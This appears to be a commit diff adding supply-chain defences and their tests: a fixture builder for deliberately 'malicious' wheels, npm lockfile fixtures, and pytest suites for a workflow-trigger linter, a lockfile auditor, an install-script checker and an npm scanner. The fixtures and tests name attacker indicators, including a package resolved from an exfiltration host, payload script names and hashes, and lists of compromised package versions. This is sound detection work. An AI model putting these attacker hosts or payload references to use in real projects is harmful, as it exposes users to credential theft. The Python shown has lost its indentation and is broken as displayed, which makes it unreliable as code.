buf = io.BytesIO()
# gzip mtime fixed via mtime=0 (gzip member header).
import gzip
inner = io.BytesIO()
with tarfile.open(fileobj = inner, mode = "w") as tf:
for path in sorted(payload_files):
data = payload_files[path]
info = tarfile.TarInfo(name = f"{prefix}/{path}")
info.size = len(data)
info.mtime = SOURCE_DATE_EPOCH
info.mode = 0o644
info.uid = 0
info.gid = 0
info.uname = ""
info.gname = ""
info.type = tarfile.REGTYPE
tf.addfile(info, io.BytesIO(data))
raw = inner.getvalue()
# gzip with fixed mtime=0 and explicit compresslevel for stability.
gz_buf = io.BytesIO()
with gzip.GzipFile(
fileobj = gz_buf,
mode = "wb",
mtime = SOURCE_DATE_EPOCH,
compresslevel = 6,
filename = "",
) as gz:
gz.write(raw)
out_path.write_bytes(gz_buf.getvalue())
def build_all() -> dict[str, Path]:
os.environ["SOURCE_DATE_EPOCH"] = str(SOURCE_DATE_EPOCH)
outputs: dict[str, Path] = {}
# Malicious wheel: payload setup.py that embeds the May-12 IOC.
mal_payload = {
"setup.py": MALICIOUS_SETUP_PY.encode(),
"malicious_fixture/__init__.py": b"# malicious fixture stub\n",
}
mal_whl = HERE / "malicious_wheel.whl"
_build_wheel(mal_whl, name = "malicious_fixture", payload_files = mal_payload)
outputs["malicious_wheel"] = mal_whl
# Clean wheel: empty placeholder.
clean_payload = {
"clean_fixture/__init__.py": CLEAN_INIT_PY.encode(),
}
clean_whl = HERE / "clean_wheel.whl"
_build_wheel(clean_whl, name = "clean_fixture", payload_files = clean_payload)
outputs["clean_wheel"] = clean_whl
# Malicious sdist: same setup.py, tar.gz form.
mal_sdist = HERE / "malicious_sdist.tar.gz"
_build_sdist(mal_sdist, name = "malicious_fixture", payload_files = mal_payload)
outputs["malicious_sdist"] = mal_sdist
return outputs
if __name__ == "__main__":
paths = build_all()
for label, path in paths.items():
size = path.stat().st_size
print(f" {label:>18}: {path.name} ({size} bytes)")
sys.exit(0)

View file

@ -0,0 +1,21 @@
{
"name": "fixture-clean",
"version": "0.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "fixture-clean",
"version": "0.0.0"
},
"node_modules/workspace-symlink-pkg": {
"version": "1.0.0",
"link": true
},
"node_modules/nested-bundle-fold-in/node_modules/sub-dep": {
"version": "0.1.0",
"resolved": "https://registry.npmjs.org/sub-dep/-/sub-dep-0.1.0.tgz",
"integrity": "sha512-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC=="
}
}
}

Binary file not shown.

View file

@ -0,0 +1,26 @@
{
"name": "fixture-malicious",
"version": "0.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "fixture-malicious",
"version": "0.0.0"
},
"node_modules/@tanstack/react-router": {
"version": "1.169.5",
"resolved": "https://registry.npmjs.org/@tanstack/react-router/-/react-router-1.169.5.tgz",
"integrity": "sha512-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"node_modules/exfil-stub": {
"version": "0.0.1",
"resolved": "https://filev2.getsession.org/file/AAAA",
"integrity": "sha512-BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=="
},
"node_modules/missing-integrity-pkg": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/missing-integrity-pkg/-/missing-integrity-pkg-0.0.1.tgz"
}
}
}

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,21 @@
{
"name": "fixture-structural-only",
"version": "0.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "fixture-structural-only",
"version": "0.0.0"
},
"node_modules/exfil-stub": {
"version": "0.0.1",
"resolved": "https://filev2.getsession.org/file/AAAA",
"integrity": "sha512-BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=="
},
"node_modules/missing-integrity-pkg": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/missing-integrity-pkg/-/missing-integrity-pkg-0.0.1.tgz"
}
}
}

View file

@ -0,0 +1,138 @@
"""Regression tests for scripts/lint_workflow_triggers.py.
Guards against future regressions that would re-introduce GHSA-g7cv-rxg3-hmpx
(TanStack) -class supply-chain vectors:
* pull_request_target (fork PR runs in base context).
* Shared cache keys between PR-triggered workflows and the publish workflow.
"""
from __future__ import annotations
import shutil
import subprocess
import sys
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / "scripts" / "lint_workflow_triggers.py"
def _run(workflows_dir: Path) -> subprocess.CompletedProcess:
return subprocess.run(
[sys.executable, str(SCRIPT), "--workflows-dir", str(workflows_dir)],
capture_output = True,
text = True,
)
def test_lint_passes_on_current_workflows():
"""The live `.github/workflows/` tree must pass the lint."""
live = REPO_ROOT / ".github" / "workflows"
proc = _run(live)
assert (
proc.returncode == 0
), f"live tree failed lint:\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
def test_lint_rejects_pull_request_target(tmp_path):
"""Synthetic PR_TARGET trigger must produce rc=1 with a named finding."""
wf = tmp_path / "wf"
wf.mkdir()
(wf / "bad.yml").write_text(
"name: bad\n"
"on:\n"
" pull_request_target:\n"
" branches: [main]\n"
"jobs:\n"
" build:\n"
" runs-on: ubuntu-latest\n"
" steps:\n"
" - run: echo evil\n"
)
proc = _run(wf)
assert proc.returncode == 1
assert "BANNED trigger 'pull_request_target'" in proc.stderr
assert "GHSA-g7cv-rxg3-hmpx" in proc.stderr
def test_lint_rejects_unjustified_workflow_run(tmp_path):
"""`workflow_run` requires an explicit allow-comment in the YAML."""
wf = tmp_path / "wf"
wf.mkdir()
(wf / "chained.yml").write_text(
"name: chained\n"
"on:\n"
" workflow_run:\n"
" workflows: ['CI']\n"
" types: [completed]\n"
"jobs:\n"
" build:\n"
" runs-on: ubuntu-latest\n"
" steps:\n"
" - run: echo elevated\n"
)
proc = _run(wf)
assert proc.returncode == 1
assert "RESTRICTED trigger 'workflow_run'" in proc.stderr
def test_lint_allows_justified_workflow_run(tmp_path):
"""With the allow-comment, workflow_run is permitted."""
wf = tmp_path / "wf"
wf.mkdir()
(wf / "chained.yml").write_text(
"# lint:workflow_triggers-allow-workflow_run -- justified by ticket #1234\n"
"name: chained\n"
"on:\n"
" workflow_run:\n"
" workflows: ['CI']\n"
" types: [completed]\n"
"jobs:\n"
" build:\n"
" runs-on: ubuntu-latest\n"
" steps:\n"
" - run: echo elevated\n"
)
proc = _run(wf)
assert proc.returncode == 0, f"justified workflow_run rejected:\n{proc.stderr}"
def test_lint_rejects_shared_cache_key_between_pr_and_publish(tmp_path):
"""A cache key declared in both a PR-triggered workflow and the
publish workflow is the TanStack cache-poisoning vector."""
wf = tmp_path / "wf"
wf.mkdir()
# PR-triggered: writes to a cache that the publish job will also restore.
(wf / "pr-build.yml").write_text(
"name: pr-build\n"
"on:\n"
" pull_request:\n"
"jobs:\n"
" build:\n"
" runs-on: ubuntu-latest\n"
" steps:\n"
" - uses: actions/cache@v4\n"
" with:\n"
" path: node_modules\n"
" key: shared-cache-v1\n"
)
# Publish workflow with the IDENTICAL cache key -- the actual attack pattern.
(wf / "release-desktop.yml").write_text(
"name: release-desktop\n"
"on:\n"
" workflow_dispatch:\n"
"jobs:\n"
" publish:\n"
" runs-on: ubuntu-latest\n"
" steps:\n"
" - uses: actions/cache@v4\n"
" with:\n"
" path: node_modules\n"
" key: shared-cache-v1\n"
)
proc = _run(wf)
assert proc.returncode == 1
assert "cache-key" in proc.stderr.lower() or "cache key" in proc.stderr.lower()
assert "shared-cache-v1" in proc.stderr

View file

@ -0,0 +1,283 @@
"""Regression tests for `scripts/lockfile_supply_chain_audit.py`.
The auditor is fully offline (file reads only); tests run the script
as a subprocess against the fixture lockfiles plus an inline
`Cargo.lock` constructed in a tmpdir.
"""
from __future__ import annotations
import os
import subprocess
import sys
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / "scripts" / "lockfile_supply_chain_audit.py"
FIXTURES = Path(__file__).resolve().parent / "fixtures"
sys.path.insert(0, str(REPO_ROOT))
from scripts import lockfile_supply_chain_audit as lsa # noqa: E402
def _run_auditor(
*,
root: Path,
npm_lockfiles: list[Path] | None = None,
cargo_lockfiles: list[Path] | None = None,
timeout: int = 30,
) -> subprocess.CompletedProcess:
cmd = [sys.executable, str(SCRIPT), "--root", str(root)]
for p in npm_lockfiles or []:
cmd.extend(["--npm-lockfile", str(p)])
for p in cargo_lockfiles or []:
cmd.extend(["--cargo-lockfile", str(p)])
return subprocess.run(
cmd,
capture_output = True,
text = True,
timeout = timeout,
)
# ---------------------------------------------------------------------------
# npm lockfile audit.
# ---------------------------------------------------------------------------
def test_malicious_lockfile_exits_1(tmp_path):
"""The malicious fixture combines a non-registry resolved URL, a
known IOC substring (`filev2.getsession.org`), and a missing
integrity hash. The auditor must refuse with exit 1.
"""
fixture = FIXTURES / "malicious_lockfile.json"
assert fixture.is_file()
proc = _run_auditor(root = tmp_path, npm_lockfiles = [fixture])
assert proc.returncode == 1, (
f"expected exit 1, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
combined = proc.stdout + proc.stderr
assert "non-registry-resolved-url" in combined
assert "missing-integrity-hash" in combined
assert "known-ioc-string" in combined
# Verify the scanner WROTE the IOC name into its stdout/stderr. The
# literal is constructed at runtime so CodeQL's
# py/incomplete-url-substring-sanitization rule (which fires on
# source-literal + `in` even when the operand is the scanner's own
# output, not a URL being sanitized) does not false-positive across
# pre-commit reformatting that may split the assert onto multiple
# lines and detach an inline lgtm comment from the operator.
_ioc_host = "filev2." + "getsession.org"
assert _ioc_host in combined
def test_clean_lockfile_exits_0(tmp_path):
fixture = FIXTURES / "clean_lockfile.json"
proc = _run_auditor(root = tmp_path, npm_lockfiles = [fixture])
assert proc.returncode == 0, (
f"expected exit 0, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
assert "0 findings" in proc.stdout
def test_audit_npm_lockfile_direct_call_findings():
"""In-process call to `audit_npm_lockfile()` returns the same
finding shape we expect the subprocess to emit.
"""
findings = lsa.audit_npm_lockfile(FIXTURES / "malicious_lockfile.json")
kinds = {f.kind for f in findings}
assert "non-registry-resolved-url" in kinds
assert "missing-integrity-hash" in kinds
assert "known-ioc-string" in kinds
# ---------------------------------------------------------------------------
# IOC string table -- gated on Fork 1's NPM_IOC_STRINGS additions.
# ---------------------------------------------------------------------------
_MAY12_IOCS = (
"git-tanstack.com",
"transformers.pyz",
"/tmp/transformers.pyz",
"With Love TeamPCP",
)
def test_npm_ioc_strings_contains_may11_baseline():
"""May-11 wave IOCs must remain in NPM_IOC_STRINGS (baseline)."""
iocs = set(lsa.NPM_IOC_STRINGS)
for needle in (
"router_init.js",
"tanstack_runner.js",
"router_runtime.js",
"filev2.getsession.org",
):
assert needle in iocs, f"baseline IOC {needle!r} disappeared"
@pytest.mark.skipif(
not all(s in lsa.NPM_IOC_STRINGS for s in _MAY12_IOCS),
reason = "Fork 1 (May-12 IOC additions) not merged yet",
)
def test_npm_ioc_strings_contains_may12_additions():
iocs = set(lsa.NPM_IOC_STRINGS)
for needle in _MAY12_IOCS:
assert needle in iocs
@pytest.mark.skipif(
not hasattr(lsa, "BLOCKED_NPM_VERSIONS"),
reason = "Fork 1 (BLOCKED_NPM_VERSIONS in auditor) not merged yet",
)
def test_lockfile_auditor_blocked_versions_match_scanner():
"""The auditor's BLOCKED_NPM_VERSIONS must mirror the scanner's
table verbatim (Fork 1's plan says to duplicate with a sync
comment until the next PR factors them into a shared module).
"""
from scripts import scan_npm_packages as snp
assert (
lsa.BLOCKED_NPM_VERSIONS == snp.BLOCKED_NPM_VERSIONS
), "auditor and scanner BLOCKED_NPM_VERSIONS tables drifted"
# ---------------------------------------------------------------------------
# Cargo.lock audit.
# ---------------------------------------------------------------------------
_MALICIOUS_CARGO_LOCK = """\
version = 3
[[package]]
name = "fix-path-env"
version = "0.0.1"
source = "git+https://example.com/foo#deadbeef"
[[package]]
name = "honest-crate"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0000000000000000000000000000000000000000000000000000000000000000"
"""
def test_malicious_cargo_lockfile_refused(tmp_path):
"""Inline Cargo.lock with `source = "git+https://example.com/..."`
must trip the `non-registry-cargo-source` check.
"""
lockfile = tmp_path / "Cargo.lock"
lockfile.write_text(_MALICIOUS_CARGO_LOCK)
proc = _run_auditor(
root = tmp_path,
npm_lockfiles = [FIXTURES / "clean_lockfile.json"],
cargo_lockfiles = [lockfile],
)
assert proc.returncode == 1
combined = proc.stdout + proc.stderr
assert "non-registry-cargo-source" in combined
assert "git+https://example.com" in combined
def test_audit_cargo_lockfile_direct_call(tmp_path):
lockfile = tmp_path / "Cargo.lock"
lockfile.write_text(_MALICIOUS_CARGO_LOCK)
findings = lsa.audit_cargo_lockfile(lockfile)
kinds = {f.kind for f in findings}
assert "non-registry-cargo-source" in kinds
# ---------------------------------------------------------------------------
# SF4: skip env var requires a justification value.
# ---------------------------------------------------------------------------
def test_skip_env_var_with_short_value_rejected(tmp_path):
"""`UNSLOTH_LOCKFILE_AUDIT_SKIP=1` used to silently bypass the
audit. Per SF4 it must instead emit a `::warning::` to stderr and
fall through to run the audit. A real justification value
(>=5 chars, not a boolean shape) is still honored.
"""
fixture = FIXTURES / "clean_lockfile.json"
# Case 1 -- "1" rejected, audit RUNS.
env_bad = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": "1"}
proc_bad = subprocess.run(
[
sys.executable,
str(SCRIPT),
"--root",
str(tmp_path),
"--npm-lockfile",
str(fixture),
],
capture_output = True,
text = True,
timeout = 30,
env = env_bad,
)
combined_bad = proc_bad.stdout + proc_bad.stderr
assert "::warning::" in combined_bad, combined_bad
assert "REQUIRES a justification" in combined_bad, combined_bad
# Audit actually ran (saw the per-file banner).
assert "[lockfile-audit] npm:" in combined_bad, combined_bad
# Fixture is clean, so exit 0 -- but the audit was performed.
assert proc_bad.returncode == 0, (
f"expected rc 0 on clean fixture, got {proc_bad.returncode}\n"
f"--- stdout ---\n{proc_bad.stdout}\n"
f"--- stderr ---\n{proc_bad.stderr}"
)
# Case 2 -- a real-looking justification accepted, audit skipped.
env_ok = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": "ticket-5397"}
proc_ok = subprocess.run(
[
sys.executable,
str(SCRIPT),
"--root",
str(tmp_path),
"--npm-lockfile",
str(fixture),
],
capture_output = True,
text = True,
timeout = 30,
env = env_ok,
)
combined_ok = proc_ok.stdout + proc_ok.stderr
assert proc_ok.returncode == 0
assert "::warning::" in combined_ok
assert "skipped" in combined_ok.lower()
assert "ticket-5397" in combined_ok
# Skip path means the audit body never ran (no "npm:" banner).
assert "[lockfile-audit] npm:" not in combined_ok, combined_ok
# Case 3 -- the booleanish tokens are ALL rejected.
for bad_val in ("true", "yes", "on", "0", ""):
env_b = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": bad_val}
p = subprocess.run(
[
sys.executable,
str(SCRIPT),
"--root",
str(tmp_path),
"--npm-lockfile",
str(fixture),
],
capture_output = True,
text = True,
timeout = 30,
env = env_b,
)
c = p.stdout + p.stderr
assert (
"::warning::" in c and "REQUIRES" in c
), f"value {bad_val!r} should have been rejected; got:\n{c}"
assert "[lockfile-audit] npm:" in c, (
f"value {bad_val!r} should have fallen through to run audit; " f"got:\n{c}"
)

View file

@ -0,0 +1,204 @@
"""Regression tests for `scripts/check_new_install_scripts.py`.
The fixture lockfiles are tiny dicts written to `tmp_path` so the
tests stay self-contained. The session-wide `network_blocker` fixture
in conftest.py refuses any real-world socket connect; the scanner
treats that block as "registry unreachable, emit finding anyway",
which is the offline-safe path under test.
"""
from __future__ import annotations
import json
import subprocess
import sys
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / "scripts" / "check_new_install_scripts.py"
def _run(base: Path, head: Path, *, timeout: int = 30) -> subprocess.CompletedProcess:
return subprocess.run(
[
sys.executable,
str(SCRIPT),
"--base",
str(base),
"--head",
str(head),
],
capture_output = True,
text = True,
timeout = timeout,
)
def _write(path: Path, content: dict) -> Path:
path.write_text(json.dumps(content), encoding = "utf-8")
return path
# ---------------------------------------------------------------------------
# Lockfile fixtures.
# ---------------------------------------------------------------------------
def _v3_lockfile(packages: dict) -> dict:
return {
"name": "unsloth-theme",
"version": "0.0.0",
"lockfileVersion": 3,
"requires": True,
"packages": packages,
}
def _v2_lockfile(packages: dict, dependencies: dict) -> dict:
return {
"name": "unsloth-theme",
"version": "0.0.0",
"lockfileVersion": 2,
"requires": True,
"packages": packages,
"dependencies": dependencies,
}
# ---------------------------------------------------------------------------
# Tests.
# ---------------------------------------------------------------------------
def test_no_new_install_scripts_exit_0(tmp_path: Path):
"""If base == head, nothing new can have been added."""
same = _v3_lockfile(
{
"": {"name": "unsloth-theme", "version": "0.0.0"},
"node_modules/node-gyp": {
"version": "10.0.1",
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz",
"integrity": "sha512-fake",
"hasInstallScript": True,
},
}
)
base = _write(tmp_path / "base.json", same)
head = _write(tmp_path / "head.json", same)
result = _run(base, head)
assert result.returncode == 0, result.stderr
assert "no newly-added install-script" in result.stdout.lower()
def test_new_dep_with_postinstall_exits_1(tmp_path: Path):
"""A NEW dep in head with `hasInstallScript: true` must exit 1."""
base_pkgs = {
"": {"name": "unsloth-theme", "version": "0.0.0"},
"node_modules/react": {
"version": "19.2.4",
"resolved": "https://registry.npmjs.org/react/-/react-19.2.4.tgz",
"integrity": "sha512-fake",
},
}
head_pkgs = dict(base_pkgs)
head_pkgs["node_modules/evil-postinstall"] = {
"version": "1.0.0",
"resolved": (
"https://registry.npmjs.org/evil-postinstall/-/evil-postinstall-1.0.0.tgz"
),
"integrity": "sha512-fake",
"hasInstallScript": True,
}
base = _write(tmp_path / "base.json", _v3_lockfile(base_pkgs))
head = _write(tmp_path / "head.json", _v3_lockfile(head_pkgs))
result = _run(base, head)
assert (
result.returncode == 1
), f"expected exit 1, got {result.returncode}; stderr:\n{result.stderr}"
assert "evil-postinstall" in result.stderr
assert "1.0.0" in result.stderr
def test_existing_dep_with_postinstall_ignored(tmp_path: Path):
"""An install-script dep present in BOTH base and head is not new."""
base_pkgs = {
"": {"name": "unsloth-theme", "version": "0.0.0"},
"node_modules/node-gyp": {
"version": "10.0.1",
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz",
"integrity": "sha512-fake",
"hasInstallScript": True,
},
# Transitive install-script copy, nested under another dep.
"node_modules/some-build-pkg/node_modules/node-gyp": {
"version": "10.0.1",
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz",
"integrity": "sha512-fake",
"hasInstallScript": True,
},
}
head_pkgs = dict(base_pkgs)
# An ENTIRELY UNRELATED non-install-script dep is added in head.
head_pkgs["node_modules/lodash"] = {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-fake",
}
base = _write(tmp_path / "base.json", _v3_lockfile(base_pkgs))
head = _write(tmp_path / "head.json", _v3_lockfile(head_pkgs))
result = _run(base, head)
assert result.returncode == 0, (
f"expected exit 0, got {result.returncode}; stderr:\n{result.stderr}\n"
f"stdout:\n{result.stdout}"
)
# Sanity: the existing node-gyp must NOT be reported.
assert "node-gyp" not in result.stderr
def test_v2_v3_lockfile_format_support(tmp_path: Path):
"""A lockfileVersion 2 lockfile with the same shape parses the same."""
base_pkgs = {
"": {"name": "unsloth-theme", "version": "0.0.0"},
}
base_deps = {} # v2 carries both; empty deps OK
head_pkgs = {
"": {"name": "unsloth-theme", "version": "0.0.0"},
"node_modules/v2-postinstall-dep": {
"version": "2.0.0",
"resolved": (
"https://registry.npmjs.org/v2-postinstall-dep/-/"
"v2-postinstall-dep-2.0.0.tgz"
),
"integrity": "sha512-fake",
"hasInstallScript": True,
},
}
head_deps = {
"v2-postinstall-dep": {
"version": "2.0.0",
"resolved": (
"https://registry.npmjs.org/v2-postinstall-dep/-/"
"v2-postinstall-dep-2.0.0.tgz"
),
"integrity": "sha512-fake",
},
}
base = _write(tmp_path / "base.json", _v2_lockfile(base_pkgs, base_deps))
head = _write(tmp_path / "head.json", _v2_lockfile(head_pkgs, head_deps))
result = _run(base, head)
assert result.returncode == 1, (
f"expected exit 1 for v2 lockfile, got {result.returncode}; "
f"stderr:\n{result.stderr}"
)
assert "v2-postinstall-dep" in result.stderr
# And again: same packages dict but lockfileVersion 3 -- should
# produce the same finding shape.
base_v3 = _write(tmp_path / "base_v3.json", _v3_lockfile(base_pkgs))
head_v3 = _write(tmp_path / "head_v3.json", _v3_lockfile(head_pkgs))
result_v3 = _run(base_v3, head_v3)
assert result_v3.returncode == 1, (
f"expected exit 1 for v3 lockfile, got {result_v3.returncode}; "
f"stderr:\n{result_v3.stderr}"
)
assert "v2-postinstall-dep" in result_v3.stderr

View file

@ -0,0 +1,251 @@
"""Regression tests for `scripts/scan_npm_packages.py`.
These tests must run fully offline. The `network_blocker` fixture in
conftest.py refuses any non-loopback socket connect from the test
process; scanner subprocesses are invoked against fixtures that never
trigger an HTTP fetch.
"""
from __future__ import annotations
import io
import json
import subprocess
import sys
import tarfile
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / "scripts" / "scan_npm_packages.py"
FIXTURES = Path(__file__).resolve().parent / "fixtures"
# Import the module so we can introspect the IOC tables directly.
sys.path.insert(0, str(REPO_ROOT))
from scripts import scan_npm_packages as snp # noqa: E402
# ---------------------------------------------------------------------------
# Subprocess helpers.
# ---------------------------------------------------------------------------
def _run_scanner(lockfile: Path, *, timeout: int = 30) -> subprocess.CompletedProcess:
return subprocess.run(
[sys.executable, str(SCRIPT), "--lockfile", str(lockfile)],
capture_output = True,
text = True,
timeout = timeout,
)
# ---------------------------------------------------------------------------
# Lockfile pass: structural-only fixtures (no network).
# ---------------------------------------------------------------------------
def test_malicious_lockfile_exits_1():
"""Structural IOCs alone must fail the scanner.
`structural_only_lockfile.json` contains: (a) a non-registry
`resolved` URL (filev2.getsession.org), (b) an entry missing
its `integrity` field. Both are caught in `parse_lockfile()`
before any tarball download attempt -- so the test is fully
offline.
"""
fixture = FIXTURES / "structural_only_lockfile.json"
assert fixture.is_file(), fixture
proc = _run_scanner(fixture)
assert proc.returncode == 1, (
f"expected exit 1, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
combined = proc.stdout + proc.stderr
# The scanner aggregates structural findings into the summary
# rather than printing each one individually. Assert on the
# count + the FAIL banner instead.
assert "2 structural finding(s)" in combined
assert "FAIL" in combined
# And confirm `parse_lockfile()` actually surfaces the right
# `pattern` codes via the in-process API.
entries, struct = snp.parse_lockfile(fixture)
patterns = {f.pattern for f in struct}
assert {"non-registry-resolved-url", "missing-integrity-hash"} <= patterns
def test_clean_lockfile_exits_0():
"""The clean fixture only contains entries that `parse_lockfile()`
skips entirely (workspace root + workspace `link` symlink +
nested fold-in), so the scanner exits 0 with no network access.
"""
fixture = FIXTURES / "clean_lockfile.json"
assert fixture.is_file(), fixture
proc = _run_scanner(fixture)
assert proc.returncode == 0, (
f"expected exit 0, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
assert "0 finding(s)" in proc.stdout
assert "0 hard error(s)" in proc.stdout
# ---------------------------------------------------------------------------
# BLOCKED_NPM_VERSIONS table -- gated on Fork 1.
# ---------------------------------------------------------------------------
_BLOCKED_AVAILABLE = hasattr(snp, "BLOCKED_NPM_VERSIONS")
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_NPM_VERSIONS constant) not merged yet",
)
def test_blocked_npm_versions_complete():
table = snp.BLOCKED_NPM_VERSIONS
tanstack_keys = [k for k in table if k.startswith("@tanstack/")]
assert len(tanstack_keys) == 42, (
f"expected 42 @tanstack/* entries, got {len(tanstack_keys)}: "
f"{sorted(tanstack_keys)}"
)
assert "@opensearch-project/opensearch" in table
assert table["@opensearch-project/opensearch"] == {
"3.5.3",
"3.6.2",
"3.7.0",
"3.8.0",
}
squawk = [k for k in table if k.startswith("@squawk/")]
assert len(squawk) >= 22, (
f"expected at least 22 @squawk/* entries (full safedep.io enumeration), "
f"got {len(squawk)}: {sorted(squawk)}"
)
# @squawk/mcp must cover the full malicious range 0.9.1 .. 0.9.5
# (safedep.io enumeration; we initially had only 0.9.5).
assert {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"} <= table["@squawk/mcp"]
uipath = [k for k in table if k.startswith("@uipath/")]
assert len(uipath) >= 64, (
f"expected at least 64 @uipath/* entries (Aikido enumeration), "
f"got {len(uipath)}: {sorted(uipath)}"
)
# Anchor a known entry: the rpa-tool 0.9.5 version is in the published list.
assert "0.9.5" in table["@uipath/rpa-tool"]
# Aikido (May-12 wave): @mistralai/* npm scope (separate from PyPI mistralai).
assert table["@mistralai/mistralai"] == {"2.2.2", "2.2.3", "2.2.4"}
assert table["@mistralai/mistralai-gcp"] == {"1.7.1", "1.7.2", "1.7.3"}
assert table["@mistralai/mistralai-azure"] == {"1.7.1", "1.7.2", "1.7.3"}
# Aikido: @tallyui/* (10 packages x 3 versions).
tallyui = [k for k in table if k.startswith("@tallyui/")]
assert len(tallyui) == 10, f"expected 10 @tallyui/*, got {sorted(tallyui)}"
# Aikido: @beproduct/nestjs-auth covers the 0.1.2 .. 0.1.19 range (18 versions).
assert table["@beproduct/nestjs-auth"] == {f"0.1.{i}" for i in range(2, 20)}
# Aikido: unscoped infostealer packages (10 total).
for unscoped in (
"safe-action",
"ts-dna",
"cross-stitch",
"cmux-agent-mcp",
"agentwork-cli",
"git-branch-selector",
"wot-api",
"git-git-git",
"nextmove-mcp",
"ml-toolkit-ts",
):
assert unscoped in table, f"missing unscoped malicious pkg: {unscoped}"
# Aikido: payload SHA-256 hashes wired into KNOWN_IOC_STRINGS.
ioc = snp.KNOWN_IOC_STRINGS
assert "ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c" in ioc
assert "2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96" in ioc
assert "bun run tanstack_runner.js" in ioc
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_NPM_VERSIONS pre-fetch hook) not merged yet",
)
def test_blocked_npm_versions_short_circuits_download():
"""With Fork 1's pre-fetch hook, the malicious tanstack entry
must produce a `blocked-known-malicious` finding without ever
calling out to the npm registry. The full malicious fixture
contains the tanstack entry; the test asserts exit 1 and that
the new finding pattern appears in scanner output.
"""
fixture = FIXTURES / "malicious_lockfile.json"
proc = _run_scanner(fixture, timeout = 10)
assert proc.returncode == 1
combined = proc.stdout + proc.stderr
assert "blocked-known-malicious" in combined or "BLOCKED_NPM_VERSIONS" in combined
# ---------------------------------------------------------------------------
# KNOWN_IOC_STRINGS coverage -- every IOC must trip the scanner.
# ---------------------------------------------------------------------------
def _extract_pkg_with_ioc(ioc: str, tmp_path: Path) -> Path:
"""Build a one-file npm package extract tree embedding `ioc` in
`package.json`. Returns the extract root.
"""
pkg_json = {
"name": "ioc-fixture",
"version": "0.0.1",
"description": f"contains literal: {ioc}",
}
root = tmp_path / f"pkg_{abs(hash(ioc)) % 10**8}"
(root / "package").mkdir(parents = True)
(root / "package" / "package.json").write_text(
json.dumps(pkg_json),
encoding = "utf-8",
)
return root
def test_every_known_ioc_string_caught(tmp_path):
"""For every entry in `KNOWN_IOC_STRINGS`, embed the IOC in a
one-file package tree and confirm `scan_extracted_tree()`
surfaces it. Guards against silent regex / table drift.
"""
iocs = snp.KNOWN_IOC_STRINGS
assert iocs, "KNOWN_IOC_STRINGS unexpectedly empty"
pkg = snp.PackageEntry(
name = "ioc-fixture",
version = "0.0.1",
resolved = "https://registry.npmjs.org/ioc-fixture/-/ioc-fixture-0.0.1.tgz",
integrity = "sha512-stub",
lockfile_key = "node_modules/ioc-fixture",
)
for ioc in iocs:
root = _extract_pkg_with_ioc(ioc, tmp_path)
findings = snp.scan_extracted_tree(pkg = pkg, root = root)
hit = any(ioc in f.evidence or ioc in f.detail for f in findings)
assert hit, (
f"KNOWN_IOC_STRINGS[{ioc!r}] not detected by scan_extracted_tree; "
f"findings = {[str(f) for f in findings]}"
)
# ---------------------------------------------------------------------------
# Sanity: lockfile parse pass surfaces the structural findings we expect.
# ---------------------------------------------------------------------------
def test_parse_lockfile_structural_findings():
"""`parse_lockfile()` returns (entries, structural_findings). The
structural-only fixture should produce 2 structural findings and
0 entries (because both bad entries are `continue`d).
"""
entries, struct = snp.parse_lockfile(FIXTURES / "structural_only_lockfile.json")
assert entries == []
patterns = {f.pattern for f in struct}
assert "non-registry-resolved-url" in patterns
assert "missing-integrity-hash" in patterns

View file

@ -0,0 +1,261 @@
"""Regression tests for `scripts/scan_packages.py`.
